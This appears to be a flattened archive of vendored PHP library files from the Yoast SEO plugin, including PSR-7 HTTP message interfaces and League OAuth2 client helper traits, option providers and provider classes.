workflow. This method is * meant as a way to release references for ref-counting. * A subsequent call to ContainerInterface::get will recreate a new instance of the shared service. */ public function reset(); } symfony/deprecation-contracts/function.php000066600000001760151734252230015115 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (!function_exists('trigger_deprecation')) { /** * Triggers a silenced deprecation notice. * * @param string $package The name of the Composer package that is triggering the deprecation * @param string $version The version of the package that introduced the deprecation * @param string $message The message of the deprecation * @param mixed ...$args Values to insert in the message using printf() formatting * * @author Nicolas Grekas */ function trigger_deprecation(string $package, string $version, string $message, ...$args): void { @trigger_error(($package || $version ? "Since $package $version: " : '').($args ? vsprintf($message, $args) : $message), \E_USER_DEPRECATED); } } psr/http-message/src/UriInterface.php000066600000031436151734252230013650 0ustar00 * [user-info@]host[:port] * * * If the port component is not set or is the standard port for the current * scheme, it SHOULD NOT be included. * * @see https://tools.ietf.org/html/rfc3986#section-3.2 * @return string The URI authority, in "[user-info@]host[:port]" format. */ public function getAuthority() : string; /** * Retrieve the user information component of the URI. * * If no user information is present, this method MUST return an empty * string. * * If a user is present in the URI, this will return that value; * additionally, if the password is also present, it will be appended to the * user value, with a colon (":") separating the values. * * The trailing "@" character is not part of the user information and MUST * NOT be added. * * @return string The URI user information, in "username[:password]" format. */ public function getUserInfo() : string; /** * Retrieve the host component of the URI. * * If no host is present, this method MUST return an empty string. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.2.2. * * @see http://tools.ietf.org/html/rfc3986#section-3.2.2 * @return string The URI host. */ public function getHost() : string; /** * Retrieve the port component of the URI. * * If a port is present, and it is non-standard for the current scheme, * this method MUST return it as an integer. If the port is the standard port * used with the current scheme, this method SHOULD return null. * * If no port is present, and no scheme is present, this method MUST return * a null value. * * If no port is present, but a scheme is present, this method MAY return * the standard port for that scheme, but SHOULD return null. * * @return null|int The URI port. */ public function getPort() : ?int; /** * Retrieve the path component of the URI. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * Normally, the empty path "" and absolute path "/" are considered equal as * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically * do this normalization because in contexts with a trimmed base path, e.g. * the front controller, this difference becomes significant. It's the task * of the user to handle both "" and "/". * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.3. * * As an example, if the value should include a slash ("/") not intended as * delimiter between path segments, that value MUST be passed in encoded * form (e.g., "%2F") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.3 * @return string The URI path. */ public function getPath() : string; /** * Retrieve the query string of the URI. * * If no query string is present, this method MUST return an empty string. * * The leading "?" character is not part of the query and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.4. * * As an example, if a value in a key/value pair of the query string should * include an ampersand ("&") not intended as a delimiter between values, * that value MUST be passed in encoded form (e.g., "%26") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.4 * @return string The URI query string. */ public function getQuery() : string; /** * Retrieve the fragment component of the URI. * * If no fragment is present, this method MUST return an empty string. * * The leading "#" character is not part of the fragment and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.5. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.5 * @return string The URI fragment. */ public function getFragment() : string; /** * Return an instance with the specified scheme. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified scheme. * * Implementations MUST support the schemes "http" and "https" case * insensitively, and MAY accommodate other schemes if required. * * An empty scheme is equivalent to removing the scheme. * * @param string $scheme The scheme to use with the new instance. * @return static A new instance with the specified scheme. * @throws \InvalidArgumentException for invalid or unsupported schemes. */ public function withScheme(string $scheme) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface; /** * Return an instance with the specified user information. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user information. * * Password is optional, but the user information MUST include the * user; an empty string for the user is equivalent to removing user * information. * * @param string $user The user name to use for authority. * @param null|string $password The password associated with $user. * @return static A new instance with the specified user information. */ public function withUserInfo(string $user, ?string $password = null) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface; /** * Return an instance with the specified host. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified host. * * An empty host value is equivalent to removing the host. * * @param string $host The hostname to use with the new instance. * @return static A new instance with the specified host. * @throws \InvalidArgumentException for invalid hostnames. */ public function withHost(string $host) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface; /** * Return an instance with the specified port. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified port. * * Implementations MUST raise an exception for ports outside the * established TCP and UDP port ranges. * * A null value provided for the port is equivalent to removing the port * information. * * @param null|int $port The port to use with the new instance; a null value * removes the port information. * @return static A new instance with the specified port. * @throws \InvalidArgumentException for invalid ports. */ public function withPort(?int $port) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface; /** * Return an instance with the specified path. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified path. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * If the path is intended to be domain-relative rather than path relative then * it must begin with a slash ("/"). Paths not starting with a slash ("/") * are assumed to be relative to some base path known to the application or * consumer. * * Users can provide both encoded and decoded path characters. * Implementations ensure the correct encoding as outlined in getPath(). * * @param string $path The path to use with the new instance. * @return static A new instance with the specified path. * @throws \InvalidArgumentException for invalid paths. */ public function withPath(string $path) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface; /** * Return an instance with the specified query string. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified query string. * * Users can provide both encoded and decoded query characters. * Implementations ensure the correct encoding as outlined in getQuery(). * * An empty query string value is equivalent to removing the query string. * * @param string $query The query string to use with the new instance. * @return static A new instance with the specified query string. * @throws \InvalidArgumentException for invalid query strings. */ public function withQuery(string $query) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface; /** * Return an instance with the specified URI fragment. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified URI fragment. * * Users can provide both encoded and decoded fragment characters. * Implementations ensure the correct encoding as outlined in getFragment(). * * An empty fragment value is equivalent to removing the fragment. * * @param string $fragment The fragment to use with the new instance. * @return static A new instance with the specified fragment. */ public function withFragment(string $fragment) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface; /** * Return the string representation as a URI reference. * * Depending on which components of the URI are present, the resulting * string is either a full URI or relative reference according to RFC 3986, * Section 4.1. The method concatenates the various components of the URI, * using the appropriate delimiters: * * - If a scheme is present, it MUST be suffixed by ":". * - If an authority is present, it MUST be prefixed by "//". * - The path can be concatenated without delimiters. But there are two * cases where the path has to be adjusted to make the URI reference * valid as PHP does not allow to throw an exception in __toString(): * - If the path is rootless and an authority is present, the path MUST * be prefixed by "/". * - If the path is starting with more than one "/" and no authority is * present, the starting slashes MUST be reduced to one. * - If a query is present, it MUST be prefixed by "?". * - If a fragment is present, it MUST be prefixed by "#". * * @see http://tools.ietf.org/html/rfc3986#section-4.1 * @return string */ public function __toString() : string; } psr/http-message/src/MessageInterface.php000066600000016275151734252230014501 0ustar00getHeaders() as $name => $values) { * echo $name . ": " . implode(", ", $values); * } * * // Emit headers iteratively: * foreach ($message->getHeaders() as $name => $values) { * foreach ($values as $value) { * header(sprintf('%s: %s', $name, $value), false); * } * } * * While header names are not case-sensitive, getHeaders() will preserve the * exact case in which headers were originally specified. * * @return string[][] Returns an associative array of the message's headers. Each * key MUST be a header name, and each value MUST be an array of strings * for that header. */ public function getHeaders() : array; /** * Checks if a header exists by the given case-insensitive name. * * @param string $name Case-insensitive header field name. * @return bool Returns true if any header names match the given header * name using a case-insensitive string comparison. Returns false if * no matching header name is found in the message. */ public function hasHeader(string $name) : bool; /** * Retrieves a message header value by the given case-insensitive name. * * This method returns an array of all the header values of the given * case-insensitive header name. * * If the header does not appear in the message, this method MUST return an * empty array. * * @param string $name Case-insensitive header field name. * @return string[] An array of string values as provided for the given * header. If the header does not appear in the message, this method MUST * return an empty array. */ public function getHeader(string $name) : array; /** * Retrieves a comma-separated string of the values for a single header. * * This method returns all of the header values of the given * case-insensitive header name as a string concatenated together using * a comma. * * NOTE: Not all header values may be appropriately represented using * comma concatenation. For such headers, use getHeader() instead * and supply your own delimiter when concatenating. * * If the header does not appear in the message, this method MUST return * an empty string. * * @param string $name Case-insensitive header field name. * @return string A string of values as provided for the given header * concatenated together using a comma. If the header does not appear in * the message, this method MUST return an empty string. */ public function getHeaderLine(string $name) : string; /** * Return an instance with the provided value replacing the specified header. * * While header names are case-insensitive, the casing of the header will * be preserved by this function, and returned from getHeaders(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new and/or updated header and value. * * @param string $name Case-insensitive header field name. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withHeader(string $name, $value) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface; /** * Return an instance with the specified header appended with the given value. * * Existing values for the specified header will be maintained. The new * value(s) will be appended to the existing list. If the header did not * exist previously, it will be added. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new header and/or value. * * @param string $name Case-insensitive header field name to add. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withAddedHeader(string $name, $value) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface; /** * Return an instance without the specified header. * * Header resolution MUST be done without case-sensitivity. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the named header. * * @param string $name Case-insensitive header field name to remove. * @return static */ public function withoutHeader(string $name) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface; /** * Gets the body of the message. * * @return StreamInterface Returns the body as a stream. */ public function getBody() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface; /** * Return an instance with the specified message body. * * The body MUST be a StreamInterface object. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return a new instance that has the * new body stream. * * @param StreamInterface $body Body. * @return static * @throws \InvalidArgumentException When the body is not valid. */ public function withBody(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $body) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface; } psr/http-message/src/ResponseInterface.php000066600000005237151734252230014707 0ustar00getQuery()` * or from the `QUERY_STRING` server param. * * @return array */ public function getQueryParams() : array; /** * Return an instance with the specified query string arguments. * * These values SHOULD remain immutable over the course of the incoming * request. They MAY be injected during instantiation, such as from PHP's * $_GET superglobal, or MAY be derived from some other value such as the * URI. In cases where the arguments are parsed from the URI, the data * MUST be compatible with what PHP's parse_str() would return for * purposes of how duplicate query parameters are handled, and how nested * sets are handled. * * Setting query string arguments MUST NOT change the URI stored by the * request, nor the values in the server params. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated query string arguments. * * @param array $query Array of query string arguments, typically from * $_GET. * @return static */ public function withQueryParams(array $query) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface; /** * Retrieve normalized file upload data. * * This method returns upload metadata in a normalized tree, with each leaf * an instance of Psr\Http\Message\UploadedFileInterface. * * These values MAY be prepared from $_FILES or the message body during * instantiation, or MAY be injected via withUploadedFiles(). * * @return array An array tree of UploadedFileInterface instances; an empty * array MUST be returned if no data is present. */ public function getUploadedFiles() : array; /** * Create a new instance with the specified uploaded files. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param array $uploadedFiles An array tree of UploadedFileInterface instances. * @return static * @throws \InvalidArgumentException if an invalid structure is provided. */ public function withUploadedFiles(array $uploadedFiles) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface; /** * Retrieve any parameters provided in the request body. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, this method MUST * return the contents of $_POST. * * Otherwise, this method may return any results of deserializing * the request body content; as parsing returns structured content, the * potential types MUST be arrays or objects only. A null value indicates * the absence of body content. * * @return null|array|object The deserialized body parameters, if any. * These will typically be an array or object. */ public function getParsedBody(); /** * Return an instance with the specified body parameters. * * These MAY be injected during instantiation. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, use this method * ONLY to inject the contents of $_POST. * * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of * deserializing the request body content. Deserialization/parsing returns * structured data, and, as such, this method ONLY accepts arrays or objects, * or a null value if nothing was available to parse. * * As an example, if content negotiation determines that the request data * is a JSON payload, this method could be used to create a request * instance with the deserialized parameters. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param null|array|object $data The deserialized body data. This will * typically be in an array or object. * @return static * @throws \InvalidArgumentException if an unsupported argument type is * provided. */ public function withParsedBody($data) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface; /** * Retrieve attributes derived from the request. * * The request "attributes" may be used to allow injection of any * parameters derived from the request: e.g., the results of path * match operations; the results of decrypting cookies; the results of * deserializing non-form-encoded message bodies; etc. Attributes * will be application and request specific, and CAN be mutable. * * @return array Attributes derived from the request. */ public function getAttributes() : array; /** * Retrieve a single derived request attribute. * * Retrieves a single derived request attribute as described in * getAttributes(). If the attribute has not been previously set, returns * the default value as provided. * * This method obviates the need for a hasAttribute() method, as it allows * specifying a default value to return if the attribute is not found. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $default Default value to return if the attribute does not exist. * @return mixed */ public function getAttribute(string $name, $default = null); /** * Return an instance with the specified derived request attribute. * * This method allows setting a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated attribute. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $value The value of the attribute. * @return static */ public function withAttribute(string $name, $value) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface; /** * Return an instance that removes the specified derived request attribute. * * This method allows removing a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the attribute. * * @see getAttributes() * @param string $name The attribute name. * @return static */ public function withoutAttribute(string $name) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface; } psr/container/src/ContainerExceptionInterface.php000066600000000410151734252230016257 0ustar00redirectLimit) { $attempts++; $response = $this->getHttpClient()->send($request, ['allow_redirects' => \false]); if ($this->isRedirect($response)) { $redirectUrl = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($response->getHeader('Location')[0]); $request = $request->withUri($redirectUrl); } else { break; } } return $response; } /** * Returns the HTTP client instance. * * @return GuzzleHttp\ClientInterface */ public abstract function getHttpClient(); /** * Retrieves current redirect limit. * * @return integer */ public function getRedirectLimit() { return $this->redirectLimit; } /** * Determines if a given response is a redirect. * * @param ResponseInterface $response * * @return boolean */ protected function isRedirect(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) { $statusCode = $response->getStatusCode(); return $statusCode > 300 && $statusCode < 400 && $response->hasHeader('Location'); } /** * Sends a request instance and returns a response instance. * * WARNING: This method does not attempt to catch exceptions caused by HTTP * errors! It is recommended to wrap this method in a try/catch block. * * @param RequestInterface $request * @return ResponseInterface */ public function getResponse(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) { try { $response = $this->followRequestRedirects($request); } catch (\YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException $e) { $response = $e->getResponse(); } return $response; } /** * Updates the redirect limit. * * @param integer $limit * @return League\OAuth2\Client\Provider\AbstractProvider * @throws InvalidArgumentException */ public function setRedirectLimit($limit) { if (!\is_int($limit)) { throw new \InvalidArgumentException('redirectLimit must be an integer.'); } if ($limit < 1) { throw new \InvalidArgumentException('redirectLimit must be greater than or equal to one.'); } $this->redirectLimit = $limit; return $this; } } league/oauth2-client/src/Tool/GuardedPropertyTrait.php000066600000003432151734252230017037 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Tool; /** * Provides support for blacklisting explicit properties from the * mass assignment behavior. */ trait GuardedPropertyTrait { /** * The properties that aren't mass assignable. * * @var array */ protected $guarded = []; /** * Attempts to mass assign the given options to explicitly defined properties, * skipping over any properties that are defined in the guarded array. * * @param array $options * @return mixed */ protected function fillProperties(array $options = []) { if (isset($options['guarded'])) { unset($options['guarded']); } foreach ($options as $option => $value) { if (\property_exists($this, $option) && !$this->isGuarded($option)) { $this->{$option} = $value; } } } /** * Returns current guarded properties. * * @return array */ public function getGuarded() { return $this->guarded; } /** * Determines if the given property is guarded. * * @param string $property * @return bool */ public function isGuarded($property) { return \in_array($property, $this->getGuarded()); } } league/oauth2-client/src/Tool/QueryBuilderTrait.php000066600000001630151734252230016331 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Tool; /** * Provides a standard way to generate query strings. */ trait QueryBuilderTrait { /** * Build a query string from an array. * * @param array $params * * @return string */ protected function buildQueryString(array $params) { return \http_build_query($params, '', '&', \PHP_QUERY_RFC3986); } } league/oauth2-client/src/Tool/ArrayAccessorTrait.php000066600000002662151734252230016464 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Tool; /** * Provides generic array navigation tools. */ trait ArrayAccessorTrait { /** * Returns a value by key using dot notation. * * @param array $data * @param string $key * @param mixed|null $default * @return mixed */ private function getValueByKey(array $data, $key, $default = null) { if (!\is_string($key) || empty($key) || !\count($data)) { return $default; } if (\strpos($key, '.') !== \false) { $keys = \explode('.', $key); foreach ($keys as $innerKey) { if (!\is_array($data) || !\array_key_exists($innerKey, $data)) { return $default; } $data = $data[$innerKey]; } return $data; } return \array_key_exists($key, $data) ? $data[$key] : $default; } } league/oauth2-client/src/Tool/BearerAuthorizationTrait.php000066600000002173151734252230017701 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Tool; use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface; /** * Enables `Bearer` header authorization for providers. * * @link http://tools.ietf.org/html/rfc6750 Bearer Token Usage (RFC 6750) */ trait BearerAuthorizationTrait { /** * Returns authorization headers for the 'bearer' grant. * * @param AccessTokenInterface|string|null $token Either a string or an access token instance * @return array */ protected function getAuthorizationHeaders($token = null) { return ['Authorization' => 'Bearer ' . $token]; } } league/oauth2-client/src/Tool/RequiredParameterTrait.php000066600000002740151734252230017341 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Tool; use BadMethodCallException; /** * Provides functionality to check for required parameters. */ trait RequiredParameterTrait { /** * Checks for a required parameter in a hash. * * @throws BadMethodCallException * @param string $name * @param array $params * @return void */ private function checkRequiredParameter($name, array $params) { if (!isset($params[$name])) { throw new \BadMethodCallException(\sprintf('Required parameter not passed: "%s"', $name)); } } /** * Checks for multiple required parameters in a hash. * * @throws InvalidArgumentException * @param array $names * @param array $params * @return void */ private function checkRequiredParameters(array $names, array $params) { foreach ($names as $name) { $this->checkRequiredParameter($name, $params); } } } league/oauth2-client/src/Tool/MacAuthorizationTrait.php000066600000005133151734252230017200 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Tool; use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken; use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface; /** * Enables `MAC` header authorization for providers. * * @link http://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-05 Message Authentication Code (MAC) Tokens */ trait MacAuthorizationTrait { /** * Returns the id of this token for MAC generation. * * @param AccessToken $token * @return string */ protected abstract function getTokenId(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token); /** * Returns the MAC signature for the current request. * * @param string $id * @param integer $ts * @param string $nonce * @return string */ protected abstract function getMacSignature($id, $ts, $nonce); /** * Returns a new random string to use as the state parameter in an * authorization flow. * * @param int $length Length of the random string to be generated. * @return string */ protected abstract function getRandomState($length = 32); /** * Returns the authorization headers for the 'mac' grant. * * @param AccessTokenInterface|string|null $token Either a string or an access token instance * @return array * @codeCoverageIgnore * * @todo This is currently untested and provided only as an example. If you * complete the implementation, please create a pull request for * https://github.com/thephpleague/oauth2-client */ protected function getAuthorizationHeaders($token = null) { if ($token === null) { return []; } $ts = \time(); $id = $this->getTokenId($token); $nonce = $this->getRandomState(16); $mac = $this->getMacSignature($id, $ts, $nonce); $parts = []; foreach (\compact('id', 'ts', 'nonce', 'mac') as $key => $value) { $parts[] = \sprintf('%s="%s"', $key, $value); } return ['Authorization' => 'MAC ' . \implode(', ', $parts)]; } } league/oauth2-client/src/Tool/RequestFactory.php000066600000004262151734252230015675 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Tool; use YoastSEO_Vendor\GuzzleHttp\Psr7\Request; /** * Used to produce PSR-7 Request instances. * * @link https://github.com/guzzle/guzzle/pull/1101 */ class RequestFactory { /** * Creates a PSR-7 Request instance. * * @param null|string $method HTTP method for the request. * @param null|string $uri URI for the request. * @param array $headers Headers for the message. * @param string|resource|StreamInterface $body Message body. * @param string $version HTTP protocol version. * * @return Request */ public function getRequest($method, $uri, array $headers = [], $body = null, $version = '1.1') { return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($method, $uri, $headers, $body, $version); } /** * Parses simplified options. * * @param array $options Simplified options. * * @return array Extended options for use with getRequest. */ protected function parseOptions(array $options) { // Should match default values for getRequest $defaults = ['headers' => [], 'body' => null, 'version' => '1.1']; return \array_merge($defaults, $options); } /** * Creates a request using a simplified array of options. * * @param null|string $method * @param null|string $uri * @param array $options * * @return Request */ public function getRequestWithOptions($method, $uri, array $options = []) { $options = $this->parseOptions($options); return $this->getRequest($method, $uri, $options['headers'], $options['body'], $options['version']); } } league/oauth2-client/src/OptionProvider/PostAuthOptionProvider.php000066600000004654151734252230021443 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\OptionProvider; use YoastSEO_Vendor\League\OAuth2\Client\Provider\AbstractProvider; use YoastSEO_Vendor\League\OAuth2\Client\Tool\QueryBuilderTrait; /** * Provide options for access token */ class PostAuthOptionProvider implements \YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\OptionProviderInterface { use QueryBuilderTrait; /** * @inheritdoc */ public function getAccessTokenOptions($method, array $params) { $options = ['headers' => ['content-type' => 'application/x-www-form-urlencoded']]; if ($method === \YoastSEO_Vendor\League\OAuth2\Client\Provider\AbstractProvider::METHOD_POST) { $options['body'] = $this->getAccessTokenBody($params); } return $options; } /** * Returns the request body for requesting an access token. * * @param array $params * @return string */ protected function getAccessTokenBody(array $params) { return $this->buildQueryString($params); } } league/oauth2-client/src/OptionProvider/HttpBasicAuthOptionProvider.php000066600000004474151734252230022377 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\OptionProvider; use InvalidArgumentException; /** * Add http basic auth into access token request options * @link https://tools.ietf.org/html/rfc6749#section-2.3.1 */ class HttpBasicAuthOptionProvider extends \YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\PostAuthOptionProvider { /** * @inheritdoc */ public function getAccessTokenOptions($method, array $params) { if (empty($params['client_id']) || empty($params['client_secret'])) { throw new \InvalidArgumentException('clientId and clientSecret are required for http basic auth'); } $encodedCredentials = \base64_encode(\sprintf('%s:%s', $params['client_id'], $params['client_secret'])); unset($params['client_id'], $params['client_secret']); $options = parent::getAccessTokenOptions($method, $params); $options['headers']['Authorization'] = 'Basic ' . $encodedCredentials; return $options; } } league/oauth2-client/src/OptionProvider/OptionProviderInterface.php000066600000001613151734252230021564 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\OptionProvider; /** * Interface for access token options provider */ interface OptionProviderInterface { /** * Builds request options used for requesting an access token. * * @param string $method * @param array $params * @return array */ public function getAccessTokenOptions($method, array $params); } league/oauth2-client/src/Provider/Exception/gradeimport_xml.php000066600000001550151734252230020722 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception; /** * Exception thrown if the provider response contains errors. */ class IdentityProviderException extends \Exception { /** * @var mixed */ protected $response; /** * @param string $message * @param int $code * @param mixed $response The response body */ public function __construct($message, $code, $response) { $this->response = $response; parent::__construct($message, $code); } /** * Returns the exception's response body. * * @return mixed */ public function getResponseBody() { return $this->response; } } league/oauth2-client/src/Provider/GenericResourceOwner.php000066600000002750151734252230017671 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Provider; /** * Represents a generic resource owner for use with the GenericProvider. */ class GenericResourceOwner implements \YoastSEO_Vendor\League\OAuth2\Client\Provider\ResourceOwnerInterface { /** * @var array */ protected $response; /** * @var string */ protected $resourceOwnerId; /** * @param array $response * @param string $resourceOwnerId */ public function __construct(array $response, $resourceOwnerId) { $this->response = $response; $this->resourceOwnerId = $resourceOwnerId; } /** * Returns the identifier of the authorized resource owner. * * @return mixed */ public function getId() { return $this->response[$this->resourceOwnerId]; } /** * Returns the raw resource owner response. * * @return array */ public function toArray() { return $this->response; } } league/oauth2-client/src/Provider/ResourceOwnerInterface.php000066600000002002151734252230020203 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Provider; /** * Classes implementing `ResourceOwnerInterface` may be used to represent * the resource owner authenticated with a service provider. */ interface ResourceOwnerInterface { /** * Returns the identifier of the authorized resource owner. * * @return mixed */ public function getId(); /** * Return all of the owner details available as an array. * * @return array */ public function toArray(); } league/oauth2-client/src/Provider/AbstractProvider.php000066600000064351151734252230017055 0ustar00 * @license http://opensource.org/licenses/MIT MIT * @link http://thephpleague.com/oauth2-client/ Documentation * @link https://packagist.org/packages/league/oauth2-client Packagist * @link https://github.com/thephpleague/oauth2-client GitHub */ namespace YoastSEO_Vendor\League\OAuth2\Client\Provider; use YoastSEO_Vendor\GuzzleHttp\Client as HttpClient; use YoastSEO_Vendor\GuzzleHttp\ClientInterface as HttpClientInterface; use YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException; use InvalidArgumentException; use YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant; use YoastSEO_Vendor\League\OAuth2\Client\Grant\GrantFactory; use YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\OptionProviderInterface; use YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\PostAuthOptionProvider; use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException; use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken; use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface; use YoastSEO_Vendor\League\OAuth2\Client\Tool\ArrayAccessorTrait; use YoastSEO_Vendor\League\OAuth2\Client\Tool\GuardedPropertyTrait; use YoastSEO_Vendor\League\OAuth2\Client\Tool\QueryBuilderTrait; use YoastSEO_Vendor\League\OAuth2\Client\Tool\RequestFactory; use YoastSEO_Vendor\Psr\Http\Message\RequestInterface; use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface; use UnexpectedValueException; /** * Represents a service provider (authorization server). * * @link http://tools.ietf.org/html/rfc6749#section-1.1 Roles (RFC 6749, §1.1) */ abstract class AbstractProvider { use ArrayAccessorTrait; use 